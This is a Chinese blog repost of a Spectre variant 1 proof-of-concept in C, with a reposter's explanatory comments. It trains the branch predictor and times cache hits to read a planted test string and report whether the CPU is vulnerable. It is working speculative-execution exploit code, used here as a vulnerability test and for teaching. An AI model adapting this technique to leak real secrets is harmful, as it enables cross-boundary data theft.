百度360必应搜狗淘宝本站头条
当前位置:网站首页 > 热门文章 > 正文

CPU漏洞解析,附带修改过带注释源码一份

bigegpt 2024-09-08 11:32 5 浏览

先说结果,由于CPU乱序执行和分支预测功能,可以通过判断需要读取的页面是否被 cache 缓存来判断内存中存在什么内容。

简单粗暴,直接上本帅改过的代码,含中文注释,不谢。

另外膜拜下这份源码的大神。

再另外一下,乱序执行和分支预测现在CPU基本都有,目的是为了让执行单元全速执行避免浪费时间等待数据获取,BUG的重点就在于这两个功能使得 cache 缓存了本来没有权限获取的地址数据(PS:权限检查是在数据进入core的寄存器时进行,这也是为什么说此BUG是架构问题,架构设计cache不检查权限),然而cache的数据和非cache的数据core在获取时,时间上相差N倍(根据本帅的CPU测试结果能相差3倍甚至以上),故可以判断数据缓存情况,从而可以用字典判断到底缓存的什么(这句看不懂请看代码)


  1. /*
  2. modify by:CSZQ
  3. */
  4. /*
  5. 配置
  6. */
  7. #define __DEBUG0// 调试模式开关,会打开额外输出
  8. #define __TRYTIMES50// 每个字符尝试读取次数
  9. /*
  10. 测试读取的数据
  11. */
  12. #define __MAGICWORDS"1234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890"
  13. #define __MAGICWORDSCOUNT (sizeof(__MAGICWORDS) - 1)// 测试数据长度
  14. /*
  15. cache 命中阀值,是一个经验值,不成功9.9可能这里不对,默认值 50 ,可以通过 -t 传参修改
  16. 该数值与内存质量、CPU多项参数有关,是一个经验值,下面给出一些基于本帅移动端的 CPU Intel I7-4700MQ 给出的参数取值
  17. 取值大致范围:16 - 176
  18. */
  19. #define CACHE_HIT_THRESHOLD (50)
  20. /*
  21. 头文件
  22. */
  23. #include <stdio.h>
  24. #include <stdlib.h>
  25. #include <stdint.h>
  26. #include <intrin.h>
  27. #pragma optimize("gt",on)
  28. /*
  29. 全局变量
  30. */
  31. unsigned int array1_size = 16;// 排除 ASCII 码表前 16 个字符
  32. uint8_t array1[160] = { 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 };// 一个字典
  33. uint8_t array2[256 * 512];// 256 对应 ASCII 码表
  34. const char *secret = __MAGICWORDS;// 测试读取的数据
  35. int iThreshold = CACHE_HIT_THRESHOLD;// 读取时间阀值
  36. /*
  37. 使用 temp 全局变量阻止编译器优化 victim_function()
  38. */
  39. uint8_t temp = 0;
  40. void victim_function(size_t x) {
  41. /*
  42. x 取值 0 - 15 时 获取 arrary2 的 1 - 16 分组 & temp 后赋值给 temp
  43. temp 一直为 0
  44. 发生 evil 分支预测:
  45. array1[x] 在 5 次分支预测时加载的值就是当前需要读取的虚拟地址
  46. array2[array1[x] * 512] 在 5 次分支预测期间读取的是 标准ASCII 0 - 127 * 512 所在地址的 array2 数组内容
  47. 其他分支预测:
  48. array1[x] cache 中的是根据尝试次数获取到的正常 array1 数组标准值
  49. array2[array1[x] * 512] 在cache中缓存的是 ASCII 码表 1 - 16 号字符
  50. */
  51. if (x < array1_size) {
  52. temp &= array2[array1[x] * 512];
  53. }
  54. }
  55. void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2]) {
  56. static int results[256];// 对应 ASCII 码表
  57. int tries, i, j, k, mix_i;
  58. unsigned int junk = 0;
  59. size_t training_x, x;
  60. register uint64_t time1, time2;
  61. volatile uint8_t *addr;
  62. for (i = 0; i < 256; i++)
  63. results[i] = 0;
  64. /*
  65. 每个字符多次尝试获取以增加成功率
  66. */
  67. for (tries = __TRYTIMES; tries > 0; tries--) {
  68. /*
  69. 清空 array2 的每 512 字节首地址 cache
  70. */
  71. for (i = 0; i < 256; i++)
  72. _mm_clflush(&array2[i * 512]);// _mm_clflush:Invalidate and flush the cache line that contains p from all levels of the cache hierarchy
  73. training_x = tries % array1_size;
  74. /*
  75. 训练 CPU 缓存需要的数据
  76. */
  77. for (j = 29; j >= 0; j--) {
  78. _mm_clflush(&array1_size);// 清空 array1_size 的缓存
  79. /*
  80. 100 次内存取值用作延时,确保 cache 页全部换出
  81. */
  82. for (volatile int z = 0; z < 100; z++) {}
  83. /*
  84. 在这一步:
  85. j % 6 = 0 则 x = 0xFFFF0000
  86. j % 6 != 0 则 x = 0x00000000
  87. Avoid jumps in case those tip off the branch predictor
  88. */
  89. x = ((j % 6) - 1) & ~0xFFFF;
  90. /*
  91. 到这里:
  92. j % 6 = 0 则 x = 0xFFFFFFFF
  93. j % 6 != 0 则 x = 0x00000000
  94. */
  95. x = (x | (x >> 16));
  96. /*
  97. 最后:
  98. j % 6 = 0 则 x = malicious_x
  99. j % 6 != 0 则 x = training_x
  100. */
  101. x = training_x ^ (x & (malicious_x ^ training_x));
  102. /*
  103. 调用触发 cache 代码
  104. 共计触发 5 次,j = 24、18、12、6、0时,都会触发分支预测
  105. */
  106. victim_function(x);
  107. }
  108. /*
  109. 退出此函数时 cache 中已经缓存了需要越权获取的数据
  110. */
  111. /*
  112. 读取时间。执行顺序轻微混淆防止 stride prediction(某种分支预测方法)
  113. i 取值 0 - 255 对应 ASCII 码表
  114. */
  115. for (i = 0; i < 256; i++) {
  116. /*
  117. TODO: 贼NB的数学游戏,值得叫 666
  118. 167 0xA7 1010 0111
  119. 13 0x0D 0000 1101
  120. 取值结果为 0 - 255 随机数且不重复
  121. */
  122. mix_i = ((i * 167) + 13) & 255;
  123. /*
  124. addr 取 arrary2 中 0-255 组的首地址
  125. */
  126. addr = &array2[mix_i * 512];
  127. /*
  128. junk 保存 TSC_AUX 寄存器值
  129. time1 保存当前时间戳
  130. */
  131. time1 = __rdtscp(&junk);
  132. /*
  133. 获取数据,用以测试时间
  134. */
  135. junk = *addr;
  136. /*
  137. 记录并获取耗时
  138. */
  139. time2 = __rdtscp(&junk) - time1;
  140. /*
  141. 判断是否命中,且 mix_i 不能取 1 - 16,因为 1 - 16 在获取时是无效的
  142. */
  143. if (time2 <= iThreshold && mix_i != array1[tries % array1_size])
  144. /*
  145. cache arrary2中的 0-255 项命中则 +1 分
  146. */
  147. results[mix_i]++;
  148. }
  149. /*
  150. 获取分组中命中率最高的两个分组,分别存储在 j(最高命中),k(次高命中) 里
  151. */
  152. j = k = -1;
  153. for (i = 0; i < 256; i++) {
  154. if (j < 0 || results[i] >= results[j]) {
  155. k = j;
  156. j = i;
  157. }
  158. else if (k < 0 || results[i] >= results[k]) {
  159. k = i;
  160. }
  161. }
  162. /*
  163. 最高命中项命中次数大于 2 倍加 5 的次高命中项次数
  164. 仅仅最高命中项命中 2 次
  165. 退出循环,成功找到命中项
  166. */
  167. if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0))
  168. break; /* Clear success if best is > 2*runner-up + 5 or 2/0) */
  169. }
  170. /*
  171. 使用 junk 防止优化输出
  172. */
  173. results[0] ^= junk;
  174. value[0] = (uint8_t)j;//最高命中项
  175. score[0] = results[j];//最高命中项命中次数
  176. value[1] = (uint8_t)k;//次高命中项
  177. score[1] = results[k];//次高命中项命中次数
  178. }
  179. int main(int argc, const char **argv) {
  180. size_t malicious_x = (size_t)(secret - (char*)array1); /* 相对地址 */
  181. int i, score[2], iLen = __MAGICWORDSCOUNT, iCount = 0;
  182. char *opt;
  183. uint8_t value[2];
  184. /*
  185. 参数解析
  186. */
  187. if (argc > 1) {
  188. opt = (char*)&argv[1][1];
  189. switch (*opt) {
  190. case 'h':
  191. printf("-h help\n-t 设置阀值,建议取值 16 - 176 之间,默认 50\n");
  192. return 0;
  193. case 't':
  194. if (argc==2) {
  195. sscanf(opt + 1, "%d", &iThreshold);
  196. }
  197. else {
  198. sscanf(argv[2], "%d", &iThreshold);
  199. }
  200. break;
  201. }
  202. }
  203. for (i = 0; i < sizeof(array2); i++)
  204. array2[i] = 1; /* 避免写时复制 */
  205. #if __DEBUG > 0
  206. printf("Reading %d bytes:\n", iLen);
  207. #endif
  208. i = iLen;
  209. while (--i >= 0) {
  210. #if __DEBUG > 0
  211. printf("读取地址:%p ", (void*)malicious_x);
  212. #endif
  213. readMemoryByte(malicious_x++, value, score);
  214. char* addr = (char*)array1 + malicious_x - 1;
  215. if (value[0] == *addr) {
  216. iCount += (score[0] > 2 * score[1]) ? 1 : 0;
  217. }
  218. #if __DEBUG > 0
  219. /*
  220. 如果最高命中项命中次数大于等于 2 倍的次高命中项,认为分支预测成功
  221. */
  222. printf("%s: ", (score[0] >= 2 * score[1] ? "成功" : "...."));
  223. printf("value:0x%02X char=%c counts=%d ", value[0],
  224. ((value[0] > 31 && value[0] < 127) ? (char)value[0] : '?'), score[0]);
  225. if (score[1] > 0)
  226. printf("(可能:value:0x%02X char=%c counts=%d)", value[1], ((value[0] > 31 && value[0] < 127) ? (char)value[0] : '?'), score[1]);
  227. printf("\n");
  228. #endif
  229. }
  230. /*
  231. 命中次数超过 1/5 认为存在BUG,过低有可能是巧合或阀值需要调整
  232. */
  233. printf("%s\r\n", (iCount >= __MAGICWORDSCOUNT / 5) ? "--->存在BUG!<---" : "--->不存在BUG<---");
  234. printf("%d 阀值下命中率为:%d / %d\r\n", iThreshold, iCount, iLen);
  235. printf("按任意键退出程序...\r\n");
  236. getchar();
  237. return (0);
  238. }

这篇文章不错,但是本帅没积分,请直接复制以上代码。

这篇文章不错,决定赠送给作者积分请点击以下链接下载:

http://download.csdn.net/download/qq_25827741/10192872

相关推荐

恢复软件6款汇总推荐,帮你减轻数据恢复压力!

在当今数字化生活中,数据丢失的风险如影随形。无论是误删文件、硬盘故障,还是遭遇病毒攻击,丢失的数据都可能给我们带来不小的麻烦。此时,一款优秀的数据恢复软件就成为了挽救数据的关键。今天,为大家汇总推荐...

中兴星星一号刷回官方原版recovery的教程

【搞科技教程】中兴星星一号的官方recovery也来说一下了,因为之前给大家分享过了第三方的recovery了,之前给大家分享的第三方recovery也是采用一键刷入的方式,如果细心的朋友会发现,之前...

新玩机工具箱,Uotan柚坛工具箱软件体验

以前的手机系统功能比较单调,各厂商的重视程度不一样,所以喜欢玩机的朋友会解锁手机系统的读写权限,来进行刷机或者ROOT之类的操作,让使用体验更好。随着现在的手机系统越来越保守,以及自身功能的增强,...

三星g906k刷recovery教程_三星g906k中文recovery下载

【搞科技教程】看到有一些机友在找三星g906k的第三方recovery,下面就来说一下详细的recovery的刷入方法了,因为手机只有有了第三方的recovery之后才可以刷第三方的root包和系统包...

中兴星星2号刷recovery教程_星星二号中文recovery下载

【搞科技教程】咱们的中兴星星2手机也就是中兴星星二号手机的第三方recovery已经出来了,并且是中文版的,有了这个recovery之后,咱们的手机就可以轻松的刷第三方的系统包了,如果没有第三方的re...

数据恢复软件有哪些值得推荐?这 6 款亲测好用的工具汇总请收好!

在数字生活中,数据丢失的阴霾常常突如其来。无论是误删工作文档、格式化重要磁盘,还是遭遇系统崩溃,都可能让我们陷入焦虑。关键时刻,一款得力的数据恢复软件便是那根“救命稻草”。今天,为大家精心汇总6...

中兴u956刷入recovery的教程(中兴e5900刷机)

【搞科技教程】这次主要来给大家说说中兴u956手机如何刷入第三方的recovery,因为第三方的recovery工具是咱们刷第三方rom包的基础,可是很我欠却不会刷,所以太这里来给大家整理了一下详细的...

联想A850+刷recovery教程 联想A850+第三方recovery下载

【搞科技教程】联想A850+的第三方recovery出来了,这个第三方的recovery是非常的重要的,比如咱们的手机要刷第三方的系统包的时候,都是需要用到这个第三方的recovery的,在网上也是有...

工具侠重大更新 智能机上刷机一条龙完成

工具侠是针对玩机的机油开发的一款工具,不管是发烧级别的粉丝,还是普通小白用户,都可以在工具侠上找到你喜欢的工具应用。这不,最新的工具侠2.0.16版本,更新了专门为小白准备的刷机助手工具,以及MTK超...

shift+delete删除的文件找回6种硬盘数据恢复工具

硬盘作为电脑的重要存储设备,如同一个巨大的数字仓库,承载着我们日常工作、学习和生活中的各种文件,从珍贵的照片、重要的工作文档到喜爱的视频、音乐等,都依赖硬盘来安全存放。但有时,我们可能会不小心用sh...

使用vscode+Deepseek 实现AI编程 基于Cline和continue

尊敬的诸位!我是一名专注于嵌入式开发的物联网工程师。关注我,持续分享最新物联网与AI资讯和开发实战。期望与您携手探寻物联网与AI的无尽可能。这两天deepseek3.0上线,据说编程能力比肩Cl...

详解如何使用VSCode搭建TypeScript环境(适合小白)

搭建Javascript环境因为TypeScript不能直接在浏览器上运行。它需要编译器来编译并生成JavaScript文件。所以需要首先安装好javascript环境,可以参考文章:https://...

使用VSCode来书写你的Jupyter Notebooks

现在你可以在VScode里面来书写你的notebook了,使用起来十分的方便。下面来给大家演示一下环境的搭建。首先需要安装一个jupyter的包,使用下面的命令安装:pip3install-ih...

使用VSCode模板提高Vue开发效率(vscode开发vue插件)

安装VSCode安装Vetur和VueHelper插件,安装完成后需要重启VScode。在扩展插件搜索框中找到如下Vetur和VueHelper两个插件,注意看图标。添加Vue模板打...

干货!VsCode接入DeepSeek实现AI编程的5种主流插件详解

AI大模型对编程的影响非常之大,可以说首当其冲,Cursor等对话式编程工具渐渐渗透到开发者的工作中,作为AI编程的明星产品,Cursor虽然好用,但是贵啊,所以咱们得找平替,最好免费那种。俗话说,不...